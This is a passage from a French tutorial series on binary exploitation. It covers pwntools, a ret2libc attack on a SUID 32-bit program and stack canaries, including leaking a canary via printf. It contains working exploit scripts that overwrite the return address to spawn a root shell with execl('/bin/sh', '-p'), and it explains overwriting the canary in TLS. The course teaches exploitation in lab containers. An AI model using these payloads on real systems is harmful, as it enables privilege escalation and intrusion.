pwntools dans script.py. Tout d’abord, voici une version intermédiaire pour comprendre comment fonctionne pwntools :from pwn import *io = process(\"./ret2libc\")io.sendline(b\"azert\")print(io.recv())Décortiquons ensemble ces quelques lignes : from pwn import * : on ne se casse pas la tête, on importe tous les modules de pwntools ; io = process(\"./ret2libc\") : nous lançons le programme ret2libc. A ce stade, io est la variable qui nous permettra d’interagir avec le processus en cours d’exécution afin d’envoyer et recevoir des données, l’arrêter etc. ; io.sendline(b\"azert\") : comme le programme utilise la fonction gets afin de récupérer l’entrée utilisateur, nous devons toujours ajouter un saut de ligne à la fin des données envoyées. C’est ce que fait la fonction sendline() (contrairement à send()) qui ajoute automatiquement un saut de ligne aux données envoyées. Vous remarquerez que les données à envoyer sont des octets (de type Python bytes) même si le programme s’attend à une chaîne de caractères. Si vous envoyez directement une chaîne de caractères, vous aurez un avertissement et cette dernière sera encodée en ASCII si possible. ℹ️ Les fonctions du type send...() permettent d’envoyer des données au processus dans stdin ✏️. print(io.recv()) : cette ligne permet d’afficher le contenu de stdout. C’est là qu’écrivent des fonctions comme printf et puts. ℹ️ Les fonctions du type recv...() permettent de recevoir des données depuis le processus dans stdout 📄. En lançant le script avec python3 script.py, voici un exemple de sortie que nous pouvons avoir :[+] Starting local process './ret2libc': pid 134386 [*] Process './ret2libc' stopped with exit code 0 (pid 134386) b'Bonjour azert !\\n' Pour ceux qui ne connaissent pas encore IPython, je vous recommande de l’utiliser sans modération avec pwntools. Cela peut aider à trouver rapidement une fonction à envoyer ou à tester un input avant de l’intégrer dans le script. Nous avons brièvement parlé de IPython dans le cours d’introduction à angr si vous souhaitez y jeter un œil.Maintenant que nous comprenons à quoi servent ces lignes, voici une version améliorée du script permettant d’écraser l’adresse de retour avec 0xdeadbeef :from pwn import *io = process(\"./ret2libc\")payload = b\"A\" * 268 # plus pratique non ;) ?payload += p32(0xdeadbeef)io.sendline(payload)io.interactive() Astuce pwntools : La fonction p32 permet de convertir un entier de 32 bits en octets. Par défaut, le format little endian est utilisé. Pour changer, vous pouvez spécifier au début de votre script context.endian = 'big'. Astuce pwntools : io.interactive() ouvre un terminal interactif pour communiquer (recevoir l’output et envoyer un input) au processus. Cela évite d’avoir à appeler io.send() et io.read() à chaque fois.En lançant le script, on obtient la sortie suivante :[+] Starting local process './ret2libc': pid 139513 [*] Switching to interactive mode Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAﾭ\\xde ! [*] Got EOF while reading in interactive $ [*] Process './ret2libc' stopped with exit code -11 (SIGSEGV) (pid 139513)Tout s’est passé comme prévu, le programme a planté avec un SIGSEGV. Et si on voyait ensemble ce que ça donne dans gdb histoire de rentrer dans le vif du sujet ? Voici comment faire en utilisant gdb.attach() :from pwn import *io = process(\"./ret2libc\")payload = b\"A\" * 268payload += p32(0xdeadbeef)gdb.attach(io, '''b *0x804921fcontinue''')io.sendline(payload)io.interactive() Si vous utilisez le script dans un environnement où il n’est pas possible d’ouvrir de nouvelle fenêtre (connexion SSH, conteneur Docker …), vous aurez sûrement une erreur du type Could not find a terminal binary to use. Set context.terminal to your terminal. Vous pouvez installer tmux (installé par défaut dans les conteneurs Docker du cours) pour que vous puissiez tout de même avoir accès à gdb dans la même fenêtre de terminal. Si vous avez une erreur du type ptrace: Operation not permitted. dans gdb, vous pouvez ajouter l’option --user root dans la commande docker run (...). Très souvent le programme est à exploiter avec un utilisateur non privilégié (tel que challenger). Ainsi, n’oubliez pas de supprimer cette option une fois que vous souhaitez exploiter le programme dans le contexte attendu.Quelques remarques concernant ce script : l’appel à gdb.attach() est réalisé après le lancement du processus mais avant d’envoyer la charge utile au processus. Il s’agit donc du moment où le processus attend l’entrée utilisateur ; nous mettons un point d’arrêt à 0x804921f qui est l’adresse du ret de la fonction main ; utiliser continue ici permet de poursuivre l’exécution du programme et faire abstraction du point d’arrêt que gdb a mis par défaut en s’attachant au processus en cours d’exécution.Vous l’avez deviné, lorsque io.sendline(payload) sera exécutée, le processus arrivera à la fin du main et gdb arrêtera l’exécution à ce stade ce qui nous donnera l’occasion de voir comment mettre en place le ret2libc. Astuce pwntools : Lorsque vous utilisez gdb.attach(), pensez à laisser, à la fin du script, une ligne du type io.interactive() ou IPython.embed() afin de garder le processus en vie. Le cas échéant, la fenêtre de gdb se fermera aussi vite qu’elle s’est ouverte. Astuce pwntools : Vous pouvez changer la version de gdb que pwntools utilise en créant un lien symbolique /usr/bin/pwntools-gdb. Par exemple : sudo ln -s /usr/bin/gdb-gef++ /usr/bin/pwntools-gdbEn lançant le script, une fenêtre gdb s’est effectivement ouverte :📋 SynthèseAu cours de ce chapitre nous avons vu le principe de ret2libc. cette technique est utilisée lorsque la pile n’est pas exécutable et que l’ASLR est désactivée ; ret2libc consiste à appeler une fonction de la libc en modifiant l’adresse de retour et en saisissant les arguments nécessaires à cette fonction ; la fonction à appeler est généralement une fonction permettant d’ouvrir un terminal comme execv, execl, system etc. ; comme d’habitude, une étape intermédiaire très importante est de contrôler eip, en l’occurrence exploitant un dépassement de mémoire tampon sur la pile ; nous avons appris à lancer et communiquer avec un processus mais aussi comment le déboguer à la volée via pwntools qui est la bibliothèque Python la plus utilisée en pwn." }, { "title": "Partie 9 - Exploiter un BO - attaque ret2libc – mise en œuvre pratique (2/2)", "url": "/posts/introduction_au_pwn_partie_9/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-30 08:00:00 -0200", "snippet": "Exploiter un stack buffer overflow : attaque ret2libc – mise en œuvre pratique (2/2)Exploitation - suitePrécédemment, nous avons énuméré les différentes possibilités offertes par la libc en termes ...", "content": "Exploiter un stack buffer overflow : attaque ret2libc – mise en œuvre pratique (2/2)Exploitation - suitePrécédemment, nous avons énuméré les différentes possibilités offertes par la libc en termes de fonctions que nous pouvons utiliser pour ouvrir un terminal. Après en avoir comparé quelques-unes, nous avons opté pour execl.Là encore, nous avons le choix dans les arguments à utiliser : execl(\"/bin/sh\", \"/bin/sh\", \"-p\", NULL) ; execl(\"/tmp/wrapper\", \"/tmp/wrapper\", NULL) ; execl(\"/usr/bin/python3\", \"/usr/bin/python3\", NULL).Je vous propose d’utiliser la version avec /bin/sh -p car, bien qu’il y ait besoin d’un argument supplémentaire, cette méthode est celle qui nécessite le moins d’hypothèses : pas besoin d’avoir accès à la machine cible pour y écrire un wrapper ; pas besoin de savoir où est installé Python.Le fonctionnement de ret2libcRentrons dans le vif du sujet : comment utiliser concrètement la méthode ret2libc pour appeler execl(\"/bin/sh\", \"/bin/sh\", \"-p\", NULL) ?Cette question soulève deux questions sous-jacentes : Où se trouve execl ? Comment donner les bons arguments à execl ?Pour ce qui est de l’adresse de execl, lorsque gdb est ouvert, il suffit d’afficher l’adresse de la fonction avec p *execl, ce qui donne (dans mon cas) : $1 = {int (const char *, const char *, ...)} 0xf7e689e0 &lt;__GI_execl&gt;. Comme l’ASLR est désactivée, cette adresse sera la même d’une exécution à une autre : notez-la dans une variable : ADDR_EXECL = 0xf7e689e0.Bien, maintenant attaquons-nous aux arguments. Pour rappel, en 32 bits les arguments sont transmis de cette manière : Les adresses de ce schéma sont utilisées à titre indicatif. Il suffit donc de mettre les arguments dans le payload juste après la valeur modifiée de l’adresse de retour, non ?Presque, à un détail près 🤏. En fait, si on insère les données telles qu’elles sont dans le schéma ci-dessus (adresse de retour, arg_1,arg_2…) il va y avoir un souci. Le problème réside dans la manière d’entrer dans execl.En effet, en temps normal, c’est une instruction du type call execl qui est exécutée. Cette instruction est équivalente à push addr_retour ; jmp execl. Ainsi, la première valeur sur la pile lorsque l’on rentre dans execl doit être l’adresse de retour, c’est-à-dire l’adresse à laquelle le processeur retourne en fin de fonction lors de l’exécution de ret.La charge utile doit donc, en fin de compte, avoir cette forme à la sortie de main :Avec : Adresse de retour n°1 🔴 : c’est l’adresse de retour du main que l’on écrase en premier afin d’y écrire l’adresse de execl pour y sauter ; Adresse de retour n°2 🟡 : ce sera l’adresse de retour de la fonction que l’on souhaite exécuter (en l’occurrence execl). C’est-à-dire que cette adresse de retour doit contenir l’adresse de la fonction que l’on souhaite exécuter après être sorti de execl.De cette manière, en entrant dans execl, la première valeur sur la pile sera bien l’adresse de retour 🟡. La pile aura donc la forme attendue par le processeur. Nous sommes contraints à utiliser deux adresses de retour de suite car nous n’appelons pas execl avec une instruction call. Gardez bien en tête la raison de la contrainte et comment y remédier : cela nous sera très utile dans d’autres méthodes d’exploitation 😉.L’écriture du payloadAprès la théorie, place à la pratique !Nous contrôlons eip et nous avons noté l’adresse de execl. Quelle deuxième adresse de retour utiliser ?Tout d’abord, sachez qu’il n’est pas nécessaire qu’elle soit valide. En effet, le shell sera ouvert avant que l’on sorte de execl. Nous aurons donc le temps de faire tout ce que l’on souhaite avant que execl finisse son exécution. Ainsi, même si le programme plante car l’adresse de retour de execl n’est pas valide, cela n’est pas si gênant pour nous. Mais essayons tout de même de faire quelque chose de carré 😎.Je vous propose donc d’utiliser la fonction exit de la libc qui prend en argument le code d’erreur. L’argument en soi n’est pas très important, ce qui nous intéresse, c’est de terminer proprement l’exécution du processus 😇. Voici donc l’allure de la pile que nous souhaitons avoir lors du ret du main afin d’appeler execl(\"/bin/sh\", \"/bin/sh\", \"-p\", NULL):Pour récupérer l’adresse de exit dans gdb, vous savez comment faire 😏. Pour ma part, l’adresse de exit est 0xf7da4460. Pour les chaînes de caractères \"/bin/sh\" et \"-p\", comme l’ASLR est désactivée nous savons où l’entrée utilisateur est stockée sur la pile. Nous pouvons donc utiliser l’entrée utilisateur comme nous l’avions fait précédemment pour stocker ces deux chaînes de caractères. Comme le programme est SUID, il vaut mieux réaliser un débogage à la volée afin d’être sûr d’avoir les bonnes adresses pour \"/bin/sh\" et \"-p\". Sinon, vous risquerez de perdre du temps car le payload final ne fonctionnera pas à cause de mauvaises adresses de pile.Ce qui donne dans notre script :from pwn import *ADDR_EXECL = 0xf7e689e0 # a adapter si besoinADDR_EXIT = 0xf7dc75b0 # a adapter si besoinADDR_BIN_SH = 0xdeadbeef # a determinerADDR_ARG_P = 0xcafebabe # a determinerio = process(\"./ret2libc\")payload = b\"/bin/sh\\x00\"payload += b\"-p\\x00\"payload += b\"A\" * (268-len(payload))payload += p32(ADDR_EXECL) # adresse de retour du mainpayload += p32(ADDR_EXIT) # adresse de retour de execlpayload += p32(ADDR_BIN_SH) # programme a executerpayload += p32(ADDR_BIN_SH) # premier argumentpayload += p32(ADDR_ARG_P) # deuxieme argumentpayload += p32(0) # dernier argument nulgdb.attach(io, '''b *0x804921fcontinue''')io.sendline(payload)io.interactive() N’oublions pas que les chaînes de caractères doivent toujours être terminées par 0x00 en C.Il ne nous manque plus que l’adresse de \"/bin/sh\" et de \"-p\". Pour ne pas avoir de décalage dû aux variables d’environnement, nous allons réutiliser le même wrapper que nous avions utilisé lors du précédent chapitre. Je plaisante, pwntools va le faire pour nous 🤩! Il suffit d’ajouter le paramètre suivant lors du lancement du processus : io = process(\"./ret2libc\", env={}).Lançons le script et constatez par vous-même l’absence des variables d’environnement :En tâtonnant un peu pour trouver où se trouvent les deux chaînes de caractères, on tombe sur ceci :x/2s $esp - 0x10c0xffffdd30:\t\"/bin/sh\"0xffffdd38:\t\"-p\"Nous avons nos deux adresses manquantes (même si les vôtres sont sans doute différentes). Remplaçons-les dans notre script :from pwn import *ADDR_EXECL = 0xf7e689e0 # a adapter si besoinADDR_EXIT = 0xf7dc75b0 # a adapter si besoinADDR_BIN_SH = 0xffffdd30 # a adapter si besoinADDR_ARG_P = 0xffffdd38 # a adapter si besoinio = process(\"./ret2libc\", env={})payload = b\"/bin/sh\\x00\"payload += b\"-p\\x00\"payload += b\"A\" * (268-len(payload))payload += p32(ADDR_EXECL)payload += p32(ADDR_EXIT)payload += p32(ADDR_BIN_SH)payload += p32(ADDR_BIN_SH)payload += p32(ADDR_ARG_P)payload += p32(0)# plus besoin de gdbio.sendline(payload)io.interactive() N’oubliez pas d’adapter les différentes adresses avec ce que vous avez trouvé de votre côté sinon l’exploit ne fonctionnera pas.En lançant le script, nous avons bien un terminal qui s’ouvre ! Et comme le programme est SUID, on est bien root !python3 script.py[+] Starting local process './ret2libc': pid 198754 [*] Switching to interactive mode Bonjour /bin/sh ! $ whoami root $ [*] Interrupted [*] Stopped process './ret2libc' (pid 198754)Voilà ! C’était plus rapide que la dernière fois, non 😎 ?📝 ExerciceAdapter le script afin d’exploiter le programme en utilisant execl(\"/usr/bin/python3\", \"/usr/bin/python3\", NULL).📋 SynthèseFinalement, ret2libc est une méthode d’exploitation des dépassements de mémoire assez simple à mettre en œuvre car nous avons déjà passé pas mal de temps à comprendre les problématiques liées au SUID, l’ASLR, les variables d’environnement et l’argument -p de /bin/sh.Cette méthode est utilisable dans le contexte suivant : l’ASLR est désactivée ; la pile n’est pas exécutable.Vous l’aurez compris, lorsque l’ASLR est activée, il sera plus compliqué de déployer cette méthode sans pour autant être impossible : en utilisant de potentielles fuites d’informations (leaks 🇬🇧) il sera possible de contourner l’aléatoirisation de la mémoire.Il y a une autre contrainte de cette technique dont nous n’avons pas parlé jusque-là : le programme doit être en 32 bitsEn effet, si le programme est en 64 bits, les premiers arguments ne sont plus passés par la pile mais via les registres. Il sera donc nécessaire de trouver une astuce pour pouvoir charger les registres en exploitant le dépassement sur la pile. Une des techniques pour y parvenir est le ROP (Return-Oriented Programming) dont on aura l’occasion de parler en profondeur par la suite." }, { "title": "Partie 10 - Comprendre les mécanismes de protection du BO - les canaris", "url": "/posts/introduction_au_pwn_partie_10/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-29 08:00:00 -0200", "snippet": "Comprendre les mécanismes de protection du stack buffer overflow : les canaris 🐤 Les développeurs de Linux et de la libc ne se sont pas rendus compte de toutes les attaques possibles pour exploite...", "content": "Comprendre les mécanismes de protection du stack buffer overflow : les canaris 🐤 Les développeurs de Linux et de la libc ne se sont pas rendus compte de toutes les attaques possibles pour exploiter les dépassements de mémoire sur la pile ?Le domaine de la recherche de vulnérabilité est une éternelle course du chat et de la souris : pendant que certains élaborent des attaques de plus en plus sophistiquées, d’autres mettent en place des protections de plus en plus robustes.C’est pourquoi, plus on avancera dans ce cours, plus les méthodes d’exploitation vont devenir de plus en plus complexes. Ne vous inquiétez pas : si vous retenez progressivement les différentes méthodes d’exploitation et le fonctionnement des protections, vous ne devriez pas avoir de souci pour progresser en pwn.Le principeLes canaris (ou stack cookies / stack canaries 🇬🇧) sont une protection relativement simple à comprendre. Elle répond à la problématique suivante : comment détecter qu’un dépassement de mémoire sur la pile a eu lieu ? Vous vous demandez peut-être l’origine du nom “canari”. Historiquement, les mineurs emmenaient des canaris dans les mines pour détecter les gaz toxiques. Les canaris sont très sensibles aux variations d’air respirable, et leur détresse ou mort précoce avertissait les mineurs d’un danger imminent. De la même manière, les canaris dans un programme signalent la présence d’un dépassement de tampon.L’idée globale est d’insérer sur la pile, juste avant l’adresse de retour et les registres sauvegardés, une valeur connue à l’avance (par le programme) lorsque l’on exécute la fonction. En fin de fonction, on vérifie si : cette valeur est toujours la même ➡️ il n’y a a priori pas eu de dépassement de mémoire ✅ ; cette valeur a été modifiée ➡️ il y a eu un buffer overflow, le programme est arrêté ❌.L’objectif n’est pas d’empêcher le buffer overflow, mais de détecter son exploitation avant qu’elle ne puisse détourner le flux d’exécution.Si cela paraît encore un peu flou, je vous propose de voir ensemble ce qui se passe sur la pile au fur et à mesure que l’on avance dans l’exécution de main d’un programme quelconque. Tout d’abord, en entrant dans le main la valeur en tête de pile est l’adresse de retour, jusque-là je ne vous apprends rien :Lorsque le prologue est exécuté, différents registres sont sauvegardés. Idem, rien de nouveau ici :Ensuite, le canari, qui n’est rien d’autre qu’une valeur aléatoire de 32 bits (ou 64 en x86_64), est généré et inséré en tête de pile : L’octet de poids faible du canari est toujours 0x00. Nous verrons ultérieurement la cause de sa présence.À partir de là, la fonction main poursuit son exécution en faisant totalement abstraction du canari jusqu’à arriver à la fin de son exécution, juste avant l’épilogue. Une vérification du canari a été ajoutée par le compilateur et là, deux scénarios sont possibles : un dépassement de mémoire tampon a eu lieu. Le canari a été écrasé et sa valeur a donc été modifiée. Cela sera détecté et le programme sera arrêté avec un message du type *** stack smashing detected ***: terminated. ❌ ; tout s’est bien passé et le canari a gardé sa valeur de départ ✅ ; Si la valeur du canari est modifiée, comment le programme peut s’en rendre compte vu qu’il ne l’a sauvegardée nulle part 🤨 ?Très bonne question ! Voyons de plus près comment cela est concrètement implémenté afin de trouver une réponse à cette question.Les détails de l’implémentationLe programme utilisé est toujours le même :#include \"stdio.h\"int main(){ char prenom[256] = {0}; gets(&amp;prenom); printf(\"Bonjour %s !\\n\",prenom); return 0;}Pour le compiler : clang -m32 -no-pie -fstack-protector main.c -o canaris -Wno-implicit-function-declaration.L’accès au conteneur Docker de ce chapitre est le suivant : ⬇️ Téléchargement : pwn-stack-canaris.zip 🔎 SHA256 &amp; Analyse Virus Total : 2822153a0d31eebf3b01e1d4b44aa4a635bed3c6639b4c01ef60d76a5a7ac231 ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-canaris .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-canarisNous voyons que la protection est bien présente via checksec :$ pwn checksec canaris [*] '/opt/chal/canaris' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found &lt;----- NX: NX enabled PIE: No PIE (0x8048000)Vous l’avez deviné, c’est l’option -fstack-protector qui indique au compilateur d’utiliser les canaris. Jetons un œil au code assembleur du programme afin de comprendre comment se passe l’insertion et la vérification du canari : la valeur du canari est récupérée dans eax à partir de l’offset 0x14 du registre gs. Nous verrons ce à quoi correspond ce registre. Le contenu de eax est mis sur la pile (via ebp) ; avant de quitter la fonction, la valeur du canari est récupérée dans eax depuis gs (valeur initiale) ainsi que dans ecx (valeur potentiellement modifiée). Ces deux registres sont ensuite comparés via cmp (parfois cela est fait via un xor dont le résultat doit être nul) ; deux cas sont envisagés : le canari n’a pas été modifié : on entre dans le bloc 🟢 et le programme termine normalement ; le canari a été modifié : on entre dans le bloc 🔴 et le programme termine prématurément via un appel à __stack_chk_fail. 🐥 Où es-tu caché ? Nous allons détailler davantage l’implémentation du canari en mémoire. Cela implique des notions (et du vocabulaire) qu’il n’est pas nécessaire d’assimiler pour comprendre comment fonctionne un canari. Si vous avez du mal avec cette partie, passez à la suivante tant que vous avez retenu ce qui a été dit précédemment sur le fonctionnement du canari. Pour les plus curieux et plus à l’aise avec le pwn, cette partie est tout de même intéressante car elle ouvre des perspectives d’exploitation permettant de modifier la valeur initiale du canari en mémoire 🫣.La question que vous vous posez sans doute : où est exactement stocké le canari ? Plus précisément : vers quoi pointe le registre de segment gs ?Si vous tentez d’afficher la valeur de $gs dans gdb vous risquez de tomber sur une valeur du type 0x63 qui est un index dans la GDT (Global Descriptor Table ). En réalité, un registre de segment peut pointer dans la GDT ou la LDT (Local Descriptor Table). Lorsque le bit n°2 du registre est nul, c’est GDT qui est utilisée, sinon, c’est la LDT. En l’occurrence, comme la valeur de gs est 0x63, c’est GDT qui est utilisée.Concrètement, cela permet, à partir d’un index, de récupérer une adresse. En l’occurrence, il s’agit d’une adresse vers une structure pthread qui est dans le TLS (Thread Local Storage) : une zone mémoire permettant de gérer les threads d’un programme ainsi que les variables “thread-safe”. C’est, entre autres, ce mécanisme qui permet à chaque fil d’exécution d’avoir ses propres variables.Pour revenir aux canaris, cela implique que chaque fil d’exécution a son propre canari.Le premier membre de la structure pthread est une structure tcbhead_t qui est l’en-tête du TCB (Thread Control Block). Oui je sais, ça fait pas mal d’acronymes, n’hésitez pas à prendre le temps de les comprendre 😅. Grosso modo, le TCB est une structure contenue dans le TLS.Voyons de plus près les différents membres de tcbhead_t :typedef struct{ void *tcb;\t\t/* Pointer to the TCB. */ dtv_t *dtv; void *self;\t\t/* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; // 🐥 uintptr_t pointer_guard; unsigned long int unused_vgetcpu_cache[2]; unsigned int feature_1; int __glibc_unused1; void *__private_tm[4]; void *__private_ss; unsigned long long int ssp_base; __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32))); void *__padding[8];} tcbhead_t;Le 7ème membre est nommé stack_guard. Sachant que chacun des 7 premiers membres est sur 4 octets (car nous sommes en 32 bits), l’offset de stack_guard est 0x14, on retombe bien sur ce que l’on a vu plus haut avec mov eax, gs:14h !Ainsi, stack_guard est bien le membre où est stocké le canari 🐥 ! Ici uintptr_t pour uintptr_t stack_guard; ne signifie pas que ce membre contient un pointeur : il contient directement la valeur du canari.Voici un schéma qui résume ce qui se passe lorsque l’on souhaite récupérer la valeur qui est pointée par gs:0x14 :C’est bien beau tout ça, mais ça c’était la théorie, maintenant comment trouver où est l’en-tête tcbhead_t ?Dans gdb il est possible d’utiliser cette commande pour avoir quelques informations sur les threads du processus courant:pwndbg&gt; info threads Id Target Id Frame * 1 Thread 0xf7fbf500 (LWP 412671) \"canaris\" 0x080491c2 in main ()Utilisons ensuite l’adresse retournée avec la commande suivante :pwndbg&gt; p/x *(tcbhead_t *) 0xf7fbf500 $4 = { tcb = 0xf7fbf500, dtv = 0xf7fbfa88, self = 0xf7fbf500, multiple_threads = 0x0, sysinfo = 0xf7fc4570, stack_guard = 0x4210ea00, &lt;------- 🐥 pointer_guard = 0x91b5254, gscope_flag = 0x0, feature_1 = 0x0, __private_tm = {0x0, 0x0, 0x0}, __private_ss = 0x0, ssp_base = 0x0 }Plus rapide : nous pouvons tout simplement utiliser la commande tls -a :pwndbg&gt; tls -aThread Local Storage (TLS) base: 0xf7fbf500TLS is located at:0xf7fbe000 0xf7fc0000 rw-p 2000 0 [anon_f7fbe]Dumping the address:tcbhead_t @ 0xf7fbf500 0x00000000f7fbf500 +0x0000 tcb : 0xf7fbf500 0x00000000f7fbf500 +0x0004 dtv : 0xf7fbfa88 0x00000000f7fbf500 +0x0008 self : 0xf7fbf500 0x00000000f7fbf500 +0x000c multiple_threads : 0x0 0x00000000f7fbf500 +0x0010 sysinfo : 0xf7fc4570 0x00000000f7fbf500 +0x0014 stack_guard : 0x4210ea00 0x00000000f7fbf500 +0x0018 pointer_guard : 0x91b5254 0x00000000f7fbf500 +0x001c gscope_flag : 0x0 0x00000000f7fbf500 +0x0020 feature_1 : 0x0 0x00000000f7fbf500 +0x0024 __private_tm : {0x0, 0x0, 0x0} 0x00000000f7fbf500 +0x0030 __private_ss : 0x0 0x00000000f7fbf500 +0x0034 ssp_base : 0x0 Il peut être nécessaire d’installer libc6-dbg:i386 et libc6-dbg pour que la commande tls fonctionne correctement.Nous avons réussi à trouver la valeur du canari en mémoire ! D’ailleurs, à partir de l’adresse de tcbhead_t nous savons désormais à peu près où est stocké le TLS : En fonction de la version de la libc, il est possible que cette zone mémoire soit mappée avant la zone mémoire utilisée par la libc. Pour les programmes x86_64, le même principe est utilisé sauf qu’au lieu d’utiliser gs:0x14, c’est fs:0x28 qui est utilisé.On en déduit également un point important : si la vérification du canari est implémentée dans plusieurs fonctions, cela n’implique pas d’avoir un canari par fonction. Ces fonctions utiliseront le même canari, celui qui est dans le TLS.✏️ Changer la valeur du canariNous ne sommes pas allés aussi loin dans les détails pour rien 😏. Vous remarquerez que la zone mémoire contenant la structure tcbhead_t dispose évidemment du droit de lecture r, mais également du droit d’écriture w !Ainsi, si nous disposons d’une primitive d’écriture arbitraire, il est en théorie possible de réécrire la valeur du canari avec une valeur arbitraire que nous pourrons réutiliser dans notre payload afin d’éviter que le programme détecte un buffer overflow.En pratique, le TCB est situé à une adresse soit fixe ou presque fixe, par rapport à la libc, qu’il est possible de trouver par force brute si besoin.📋 SynthèseLe principe des canaris est simple : une valeur aléatoire est insérée sur la pile, juste avant l’adresse de retour. À la fin de l’exécution de la fonction, cette valeur est vérifiée : si inchangée : pas d’anomalie détectée, le programme continue ✅ ; si modifiée : un dépassement de tampon est suspecté, et le programme est arrêté immédiatement ❌.La valeur initiale du canari est stockée en mémoire dans le TCB qui contient des informations du fil d’exécution courant. Il est possible de modifier cette valeur sous certaines conditions." }, { "title": "Partie 11 - Contourner les canaris - exploitation d’un BO protégé (1/2)", "url": "/posts/introduction_au_pwn_partie_11/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-28 08:00:00 -0200", "snippet": "Contourner les canaris : exploitation d’un BO protégé (1/2)ContournementNous avons vu comment fonctionne le canari en tant que protection. Désormais, analysons cette protection à travers le prisme ...", "content": "Contourner les canaris : exploitation d’un BO protégé (1/2)ContournementNous avons vu comment fonctionne le canari en tant que protection. Désormais, analysons cette protection à travers le prisme d’un attaquant. Malheureusement, il n’est en général pas possible de deviner sa valeur car elle est générée aléatoirement via des valeurs aléatoires fournies par le noyau.Voyons donc quelles méthodes permettent de la contourner. Ce n’est pas le but d’apprendre par cœur ces différentes méthodes. Il est possible que vous ayez plus de mal à comprendre une méthode qu’une autre. Ce n’est pas grave. Il suffit de revenir à ce chapitre plus tard afin de le relire à tête reposée.👀 Faire fuiter la valeur du canariUne première méthode consiste à afficher la valeur du canari. Cette technique est utilisable lorsque le programme entre plusieurs fois dans la fonction vulnérable au buffer overflow. En effet, si nous arrivons à afficher la valeur du canari mais que nous ne sommes pas en mesure de l’utiliser car le programme a fini son exécution, cela ne sera pas exploitable en pratique.Supposons que l’on soit dans le cas d’une fonction (ou bout de code) vulnérable exécutée à plusieurs reprises. Il existe plusieurs manières d’afficher le canari, considérons les cas les plus fréquents : affichage de l’entrée utilisateur avec printf ; contrôle d’une chaîne de caractères formatée.Affichage de l’entrée utilisateur avec printfConsidérons le programme suivant :#include \"stdio.h\"#include \"string.h\" // A ne pas oublier#include \"unistd.h\" // A ne pas oublierint main(){ while(1) { char prenom[256] = {0}; read(0,prenom,500); if (!strncmp(\"Bye !\",prenom,5)) break; printf(\"Bonjour %s !\\n\",prenom); } return 0;}Pour le compiler : clang -m32 -no-pie -fstack-protector main_leak_1.c -o canaris_leak_1. ⬇️ Téléchargement : pwn-stack-canaris_leak_1.zip 🔎 SHA256 &amp; Analyse Virus Total : 5d5ea4f5a866e835c3d53c25ea7e398b73559bfb246c299ab59d06d908127c92 ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-canaris_leak_1 .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-canaris_leak_1 Nous utilisons read ici au lieu de gets afin de simplifier cet exemple car gets a la fâcheuse tendance de remplacer le dernier caractère lu par un octet nul 🙃.Ce que l’on cherche à faire est d’afficher la valeur du canari grâce à printf. Comment s’y prendre ? Il suffit de remplir le buffer prenom sans y insérer d’octet nul afin que printf affiche à la fois le contenu de prenom mais aussi la valeur du canari.Bonne idée… mais il y a un problème : nous avons vu que l’octet de poids faible du canari est toujours un octet nul. Or, comme les strings en C doivent toujours être terminées par \\x00, printf n’affichera que les caractères avant de rencontrer un octet nul.Vous l’aurez compris, cet octet nul dans le canari permet justement d’éviter de le faire fuiter lorsqu’un buffer adjacent au canari est rempli. Vu que l’on peut écrire au-delà du buffer, il suffit d’écraser l’octet nul du canari avec un octet non nul ?Exact ! Voici ce qui se passe selon que l’on écrase ou non l’octet nul du canari :Essayons donc d’afficher la valeur du canari.Habituellement, nous cherchons la taille du payload à partir de laquelle le programme plante. Mais ici, nous sommes dans une configuration différente : nous sommes dans une boucle while. Ainsi, tant que l’on reste dans la boucle while, la vérification du canari n’est pas réalisée donc il est tout à fait possible de le modifier à condition de ne pas sortir de la boucle.Ça tombe bien, c’est ce que nous allons faire ! En tâtonnant et en s’aidant de gdb on constate qu’envoyer 256 octets permet de remplir le buffer prenom et qu’en envoyant un octet de plus, nous écrasons l’octet nul du canari. Ce qui est assez logique puisque le buffer prenom fait exactement 256 octets.from pwn import *io = process(\"./canaris_leak_1\")payload = b\"A\" * 257io.send(payload)io.interactive() Dans ce script, nous utilisons io.send au lieu de io.sendline pour ne pas envoyer un retour à la ligne \\n à chaque fois que l’on enverra notre payload. Cela nous permet de mieux contrôler ce que nous envoyons.En vérifiant dans gdb, on remarque que l’octet de poids faible du canari est bien modifié avec une valeur non nulle (ici \\x41 qui est l’encodage ASCII de 'A').Désormais, récupérons la valeur du canari à partir de ce qui est affiché par printf. Pour ce faire, voyons la tête qu’ont les données reçues en ouvrant un terminal IPython à la fin du script avec IPython.embed() à la place de io.interactive() (n’oubliez pas d’importer IPython) :In [1]: data = io.recv() In [2]: data Out[2]: b'Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#=\\xae !\\n' Astuce pwntools : io.recv() est utilisé afin de récupérer toutes les données affichées par le programme. Lorsque le challenge est à distance, comme les données ne sont pas échangées sur le réseau aussi vite qu’en local, io.recv() peut ne pas retourner toutes les données envoyées par le challenge. Auquel cas il serait plus 